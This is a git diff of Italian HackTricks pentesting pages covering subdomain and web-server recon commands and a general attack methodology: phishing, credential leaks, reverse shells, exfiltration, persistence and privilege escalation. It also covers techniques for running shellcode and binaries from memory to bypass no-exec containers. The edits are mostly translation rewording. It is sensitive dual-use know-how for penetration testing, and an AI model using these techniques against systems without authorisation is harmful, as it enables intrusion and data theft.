* È possibile ottenere la lista di parole per le permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
* Puoi ottenere la lista di parole per le permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
|
@ -427,21 +427,21 @@ echo www | subzuf facebook.com
|
|||
```
|
||||
### **Flusso di scoperta dei sottodomini**
|
||||
|
||||
Controlla questo post sul blog che ho scritto su come **automatizzare la scoperta dei sottodomini** da un dominio utilizzando **i workflow di Trickest** in modo da non dover avviare manualmente un mucchio di strumenti sul mio computer:
|
||||
Controlla questo post sul blog che ho scritto su come **automatizzare la scoperta dei sottodomini** da un dominio utilizzando **i workflow di Trickest** in modo da non dover avviare manualmente una serie di strumenti sul mio computer:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### **VHosts / Host virtuali**
|
||||
### **VHosts / Virtual Hosts**
|
||||
|
||||
Se hai trovato un indirizzo IP contenente **una o più pagine web** appartenenti a sottodomini, potresti provare a **trovare altri sottodomini con siti web su quell'IP** cercando in **fonti OSINT** per domini in un IP o **forzando i nomi di dominio VHost in quell'IP**.
|
||||
Se hai trovato un indirizzo IP contenente **una o più pagine web** appartenenti a sottodomini, potresti provare a **trovare altri sottodomini con pagine web in quell'IP** cercando in **fonti OSINT** per domini in un IP o **forzando i nomi di dominio VHost in quell'IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
Puoi trovare alcuni **VHost in IP utilizzando** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **o altri API**.
|
||||
|
||||
**Forza bruta**
|
||||
**Forza Bruta**
|
||||
|
||||
Se sospetti che alcuni sottodomini possano essere nascosti in un server web, potresti provare a forzarli:
|
||||
```bash
|
||||
|
@ -479,7 +479,7 @@ Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monito
|
|||
### **Ricerca di vulnerabilità**
|
||||
|
||||
Controlla possibili [**takeover di sottodomini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se il **sottodominio** sta puntando a un **bucket S3**, [**controlla le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Se il **sottodominio** punta a un **bucket S3**, [**controlla le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Se trovi un **sottodominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel perimetro, fai attenzione._
|
||||
|
@ -507,10 +507,10 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
|
|||
|
||||
Nei passaggi precedenti probabilmente hai già eseguito un **riconoscimento degli IP e dei domini scoperti**, quindi potresti **già aver trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, vedremo ora alcuni **trucchi veloci per cercare server web** all'interno del perimetro.
|
||||
|
||||
Si noti che questo sarà **orientato alla scoperta delle app web**, quindi dovresti **eseguire la scansione di vulnerabilità** e **delle porte** anche (**se consentito** dal perimetro).
|
||||
Si noti che questo sarà **orientato alla scoperta delle app web**, quindi dovresti **eseguire la scansione di vulnerabilità** e **di porte** anche (**se consentito** dal perimetro).
|
||||
|
||||
Un **metodo rapido** per scoprire le **porte aperte** relative ai **server web** utilizzando [**masscan può essere trovato qui**](../pentesting-network/#http-port-discovery).\
|
||||
Un altro strumento utile per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passare un elenco di domini e cercherà di connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte:
|
||||
Un altro strumento utile per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passare un elenco di domini e proverà a connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
|
@ -525,9 +525,9 @@ Inoltre, potresti poi utilizzare [**eyeballer**](https://github.com/BishopFox/ey
|
|||
|
||||
## Risorse Cloud Pubbliche
|
||||
|
||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una società di criptovalute potresti usare parole come: `"crypto", "wallet", "dao", "<nome_dominio>", <"nomi_sottodomini">`.
|
||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una società di criptovalute potresti utilizzare parole come: `"crypto", "wallet", "dao", "<nome_dominio>", <"nomi_sottodomini">`.
|
||||
|
||||
Avrai anche bisogno di liste di parole comuni usate nei bucket:
|
||||
Avrai anche bisogno di liste di parole **comuni utilizzate nei bucket**:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
|
@ -545,7 +545,7 @@ Se trovi cose come **bucket aperti o funzioni cloud esposte** dovresti **acceder
|
|||
|
||||
## Email
|
||||
|
||||
Con i **domini** e i **sottodomini** all'interno del perimetro hai praticamente tutto ciò di cui **hai bisogno per iniziare a cercare email**. Questi sono gli **API** e gli **strumenti** che hanno funzionato meglio per me per trovare le email di un'azienda:
|
||||
Con i **domini** e i **sottodomini** nel perimetro hai praticamente tutto ciò di cui **hai bisogno per iniziare a cercare email**. Questi sono gli **API** e gli **strumenti** che hanno funzionato meglio per me per trovare le email di un'azienda:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - con API
|
||||
* API di [**https://hunter.io/**](https://hunter.io/) (versione gratuita)
|
||||
|
@ -554,7 +554,7 @@ Con i **domini** e i **sottodomini** all'interno del perimetro hai praticamente
|
|||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
Le email saranno utili in seguito per **forzare l'accesso ai log e ai servizi di autenticazione web** (come SSH). Inoltre, sono necessarie per i **phishing**. Inoltre, questi API ti daranno ancora più **informazioni sulla persona** dietro l'email, che è utile per la campagna di phishing.
|
||||
Le email saranno utili in seguito per **forzare l'accesso ai login web e ai servizi di autenticazione** (come SSH). Inoltre, sono necessarie per i **phishing**. Inoltre, questi API ti forniranno ancora più **informazioni sulla persona** dietro l'email, che è utile per la campagna di phishing.
|
||||
|
||||
## Fughe di Credenziali
|
||||
|
||||
|
@ -565,11 +565,11 @@ Con i **domini**, i **sottodomini** e le **email** puoi iniziare a cercare crede
|
|||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
Se trovi **credenziali trapelate valide**, è una vittoria molto facile.
|
||||
Se trovi **credenziali trapelate** valide, è una vittoria molto facile.
|
||||
|
||||
## Fughe di Segreti
|
||||
|
||||
Le fughe di credenziali sono legate agli hack di aziende in cui è stata **trapelata e venduta informazione sensibile**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quei database:
|
||||
Le fughe di credenziali sono correlate a violazioni di aziende in cui è stata **trapelata e venduta informazioni sensibili**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quei database:
|
||||
|
||||
### Fughe su Github
|
||||
|
||||
|
@ -588,7 +588,7 @@ Controlla anche questa **pagina** per potenziali **dork su github** che potresti
|
|||
|
||||
### Fughe su Paste
|
||||
|
||||
A volte gli attaccanti o semplicemente i lavoratori **pubblicheranno contenuti aziendali in un sito di paste**. Questo potrebbe o potrebbe non contenere **informazioni sensibili**, ma è molto interessante cercarlo.\
|
||||
A volte gli attaccanti o semplicemente i lavoratori **pubblicheranno contenuti aziendali su un sito di paste**. Questo potrebbe o potrebbe non contenere **informazioni sensibili**, ma è molto interessante cercarlo.\
|
||||
Puoi utilizzare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per cercare contemporaneamente in più di 80 siti di paste.
|
||||
|
||||
### Dork di Google
|
||||
|
@ -599,7 +599,7 @@ _Nota che gli strumenti che si aspettano di eseguire l'intero database utilizzan
|
|||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
Se trovi **credenziali trapelate valide** o token API, è una vittoria molto facile.
|
||||
Se trovi **credenziali trapelate** valide o token API, è una vittoria molto facile.
|
||||
|
||||
## Vulnerabilità del Codice Pubblico
|
||||
|
||||
|
@ -618,7 +618,7 @@ Ci sono anche servizi gratuiti che ti consentono di **scansionare i repository p
|
|||
|
||||
La **maggior parte delle vulnerabilità** trovate dai cacciatori di bug risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di test delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Voglio anche fare una menzione speciale alla sezione [**Strumenti open source di scannerizzazione automatica web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), poiché, se non ci si deve aspettare che trovino vulnerabilità molto sensibili, sono utili per implementarle nei **workflow per avere alcune informazioni web iniziali.**
|
||||
Vorrei anche fare una menzione speciale alla sezione [**Strumenti open source di scannerizzazione automatica web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), poiché, se non ci si deve aspettare che trovino vulnerabilità molto sensibili, sono utili per implementarle nei **workflow per avere alcune informazioni web iniziali.**
|
||||
|
||||
## Riepilogo
|
||||
|
||||
|
@ -649,9 +649,9 @@ Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte
|
|||
|
||||
* Tutti i corsi gratuiti di [**@Jhaddix**](https://twitter.com/Jhaddix) come [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nell'hacking** e ad hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e ad hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -30,12 +30,12 @@ _Loghi di Hacktricks progettati da_ [_@ppiernacho_](https://www.instagram.com/pp
|
|||
|
||||
Hai **accesso fisico** alla macchina che vuoi attaccare? Dovresti leggere alcuni [**trucchi sugli attacchi fisici**](../hardware-physical-access/physical-attacks.md) e altri su [**fuga dalle applicazioni GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Scoperta degli host all'interno della rete](pentesting-network/#discovering-hosts)/ [Scoperta degli asset dell'azienda](external-recon-methodology/)
|
||||
### 1 - [Scoperta degli host all'interno della rete](pentesting-network/#discovering-hosts)/ [Scoperta degli Asset dell'azienda](external-recon-methodology/)
|
||||
|
||||
**A seconda** se il **test** che stai eseguendo è un **test interno o esterno** potresti essere interessato a trovare **host all'interno della rete aziendale** (test interno) o **trovare asset dell'azienda su Internet** (test esterno).
|
||||
|
||||
{% hint style="info" %}
|
||||
Nota che se stai eseguendo un test esterno, una volta che riesci ad ottenere l'accesso alla rete interna dell'azienda dovresti riavviare questa guida.
|
||||
Nota che se stai eseguendo un test esterno, una volta che sei riuscito ad ottenere l'accesso alla rete interna dell'azienda dovresti riavviare questa guida.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Divertiti con la rete**](pentesting-network/) **(Interno)**
|
||||
|
@ -45,7 +45,7 @@ Prima di attaccare un host potresti preferire **rubare alcune credenziali** **da
|
|||
|
||||
### 3- [Scansione Porte - Scoperta dei servizi](pentesting-network/#scanning-hosts)
|
||||
|
||||
La prima cosa da fare quando **cerchi vulnerabilità in un host** è sapere quali **servizi sono in esecuzione su quali porte**. Vediamo gli [**strumenti di base per scansionare le porte degli host**](pentesting-network/#scanning-hosts).
|
||||
La prima cosa da fare quando **cerchi vulnerabilità in un host** è sapere quali **servizi sono in esecuzione in quali porte. Vediamo gli [**strumenti di base per scansionare le porte degli host**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Ricerca di exploit delle versioni dei servizi](search-exploits.md)
|
||||
|
||||
|
@ -55,26 +55,26 @@ Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, de
|
|||
|
||||
Se non c'è alcun exploit interessante per un servizio in esecuzione, dovresti cercare **comuni configurazioni errate in ciascun servizio in esecuzione.**
|
||||
|
||||
**All'interno di questo libro troverai una guida per pentestare i servizi più comuni** (e altri meno comuni)**. Per favore, cerca nell'indice a sinistra la** _**SEZIONE PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).**
|
||||
**All'interno di questo libro troverai una guida per pentestare i servizi più comuni** (e altri meno comuni)**. Per favore, cerca nell'indice a sinistra la sezione** _**PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).**
|
||||
|
||||
**Voglio fare una menzione speciale alla parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\
|
||||
Inoltre, puoi trovare una piccola guida su come [**trovare vulnerabilità conosciute nel software**](search-exploits.md) qui.
|
||||
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se **non trovi nulla** su Google, esegui il tuo **pentesting cieco**, potresti iniziare **connettendoti al servizio, fuzzandolo e leggendo le risposte** (se presenti).
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se **non trovi nulla** su Google, esegui il tuo **pentesting cieco**, potresti iniziare **connettendoti al servizio, fuzzing e leggendo le risposte** (se presenti).
|
||||
|
||||
#### 5.1 Strumenti Automatici
|
||||
|
||||
Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche delle vulnerabilità**. **Ti consiglierei di provare** [**Legion**](https://github.com/carlospolop/legion)**, che è lo strumento che ho creato ed è basato sulle note sui servizi di pentesting che puoi trovare in questo libro.**
|
||||
Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche delle vulnerabilità**. **Ti consiglierei di provare** [**Legion**](https://github.com/carlospolop/legion)**, che è lo strumento che ho creato ed è basato sulle note sul pentesting dei servizi che puoi trovare in questo libro.**
|
||||
|
||||
#### **5.2 Brute-Force sui servizi**
|
||||
#### **5.2 Brute-Forcing dei servizi**
|
||||
|
||||
In alcuni scenari un **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui una CheatSheet di diversi servizi di brute forcing**](brute-force.md)**.**
|
||||
In alcuni scenari un **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di diversi servizi di brute forcing**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Se a questo punto non hai trovato alcuna vulnerabilità interessante **potresti aver bisogno di provare qualche phishing** per entrare nella rete. Puoi leggere la mia metodologia di phishing [qui](phishing-methodology/):
|
||||
|
||||
### **7-** [**Ottenere una Shell**](shells/)
|
||||
### **7-** [**Ottenere Shell**](shells/)
|
||||
|
||||
In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una shell inversa sarebbe molto utile](shells/).
|
||||
|
||||
|
@ -90,10 +90,10 @@ Se hai problemi con la shell, puoi trovare qui una piccola **raccolta dei comand
|
|||
|
||||
### **9 -** [**Esfiltrazione**](exfiltration.md)
|
||||
|
||||
Probabilmente dovrai **estrae alcuni dati dalla vittima** o addirittura **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post su strumenti comuni che puoi usare con questi scopi**](exfiltration.md)**.**
|
||||
Probabilmente avrai bisogno di **estrae alcuni dati dalla vittima** o addirittura **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post su strumenti comuni che puoi usare con questi scopi**](exfiltration.md)**.**
|
||||
### **10- Escalazione dei Privilegi**
|
||||
|
||||
#### **10.1- Privesc Locale**
|
||||
#### **10.1- Escalazione Locale dei Privilegi**
|
||||
|
||||
Se non sei **root/Administrator** all'interno del sistema, dovresti trovare un modo per **aumentare i privilegi.**\
|
||||
Qui puoi trovare una **guida per aumentare i privilegi localmente in** [**Linux**](../linux-hardening/privilege-escalation/) **e in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
|
@ -104,9 +104,9 @@ Dovresti anche controllare queste pagine su come funziona **Windows**:
|
|||
* Come **rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali di Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalazione dei Privilegi locali di Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Privesc di Dominio**
|
||||
#### **10.2- Escalazione dei Privilegi di Dominio**
|
||||
|
||||
Qui puoi trovare una [**metodologia che spiega le azioni più comuni per enumerare, aumentare i privilegi e persistere su un Active Directory**](../windows-hardening/active-directory-methodology/). Anche se questa è solo una sottosezione di una sezione, questo processo potrebbe essere **estremamente delicato** in un incarico di Pentesting/Red Team.
|
||||
|
||||
|
@ -119,8 +119,8 @@ Trova qui diversi modi per [**dump passwords in Windows**](https://github.com/ca
|
|||
|
||||
#### 11.2 - Persistenza
|
||||
|
||||
**Usa 2 o 3 diversi tipi di meccanismi di persistenza in modo da non dover sfruttare nuovamente il sistema.**\
|
||||
**Qui puoi trovare alcuni** [**trucchi di persistenza su Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Utilizza 2 o 3 tipi diversi di meccanismi di persistenza in modo da non dover sfruttare nuovamente il sistema.**\
|
||||
**Qui puoi trovare alcuni** [**trucchi di persistenza sull'active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Completare la Persistenza Post in Windows & Linux
|
||||
|
||||
|
@ -128,7 +128,7 @@ TODO: Completare la Persistenza Post in Windows & Linux
|
|||
|
||||
Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (avviare nuovamente la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\
|
||||
In questo caso potrebbe essere necessario il tunneling. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\
|
||||
Dovresti sicuramente controllare anche il post sulla [Metodologia di Pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, aumentare i privilegi e dumpare credenziali.\
|
||||
Dovresti assolutamente controllare anche il post sulla [Metodologia di Pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, aumentare i privilegi e dumpare credenziali.\
|
||||
Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe essere molto utile per pivotare negli ambienti Windows..
|
||||
|
||||
### ALTRO
|
||||
|
@ -149,9 +149,9 @@ Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe es
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Bypass delle protezioni del file system: sola lettura / no-exec / Distroless
|
||||
# Bypass protezioni FS: sola lettura / no-exec / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,15 +6,15 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
|
@ -27,7 +27,7 @@ Nei seguenti video puoi trovare le tecniche menzionate in questa pagina spiegate
|
|||
* [**DEF CON 31 - Esplorazione della manipolazione della memoria Linux per furtività ed evasione**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intrusioni furtive con DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Scenario di sola lettura / no-exec
|
||||
## Scenario sola lettura / no-exec
|
||||
|
||||
È sempre più comune trovare macchine Linux montate con **protezione del file system in sola lettura (ro)**, specialmente nei container. Questo perché eseguire un container con file system in sola lettura è semplice come impostare **`readOnlyRootFilesystem: true`** nel `securitycontext`:
|
||||
|
||||
|
@ -79,7 +79,7 @@ Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, po
|
|||
Pertanto, **controllando il codice assembly** che viene eseguito dal processo, puoi scrivere uno **shellcode** e "mutare" il processo per **eseguire qualsiasi codice arbitrario**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** ti permetterà di caricare ed **eseguire** il tuo **proprio shellcode** o **qualsiasi binario** dalla **memoria**.
|
||||
**DDexec / EverythingExec** ti permetterà di caricare ed **eseguire** il tuo **shellcode** o **qualsiasi binario** dalla **memoria**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -93,7 +93,7 @@ Per ulteriori informazioni su questa tecnica, controlla su Github o:
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) è il passo successivo naturale di DDexec. Si tratta di un **shellcode demonizzato di DDexec**, quindi ogni volta che si desidera **eseguire un binario diverso** non è necessario riavviare DDexec, è sufficiente eseguire il codice shell di memexec tramite la tecnica DDexec e quindi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) è il passo successivo naturale di DDexec. È un **shellcode demonizzato di DDexec**, quindi ogni volta che si desidera **eseguire un binario diverso** non è necessario riavviare DDexec, è sufficiente eseguire il codice shell memexec tramite la tecnica DDexec e quindi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**.
|
||||
|
||||
Puoi trovare un esempio su come utilizzare **memexec per eseguire binari da un reverse shell PHP** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -117,7 +117,7 @@ In un container Distroless potresti **non trovare nemmeno `sh` o `bash`** per ot
|
|||
Pertanto, **non** sarai in grado di ottenere una **shell inversa** o **enumerare** il sistema come fai di solito.
|
||||
{% endhint %}
|
||||
|
||||
Tuttavia, se il container compromesso sta eseguendo ad esempio un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una **shell inversa Python**. Se sta eseguendo Node, puoi ottenere una shell inversa di Node, e lo stesso con la maggior parte dei **linguaggi di scripting**.
|
||||
Tuttavia, se il container compromesso sta eseguendo ad esempio un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una **shell inversa Python**. Se sta eseguendo node, puoi ottenere una shell inversa di Node, e lo stesso con la maggior parte dei **linguaggi di scripting**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Utilizzando il linguaggio di scripting potresti **enumerare il sistema** sfruttando le capacità del linguaggio.
|
||||
|
@ -131,7 +131,7 @@ Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma p
|
|||
|
||||
Puoi trovare **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere **shell inverse di linguaggi di scripting** ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
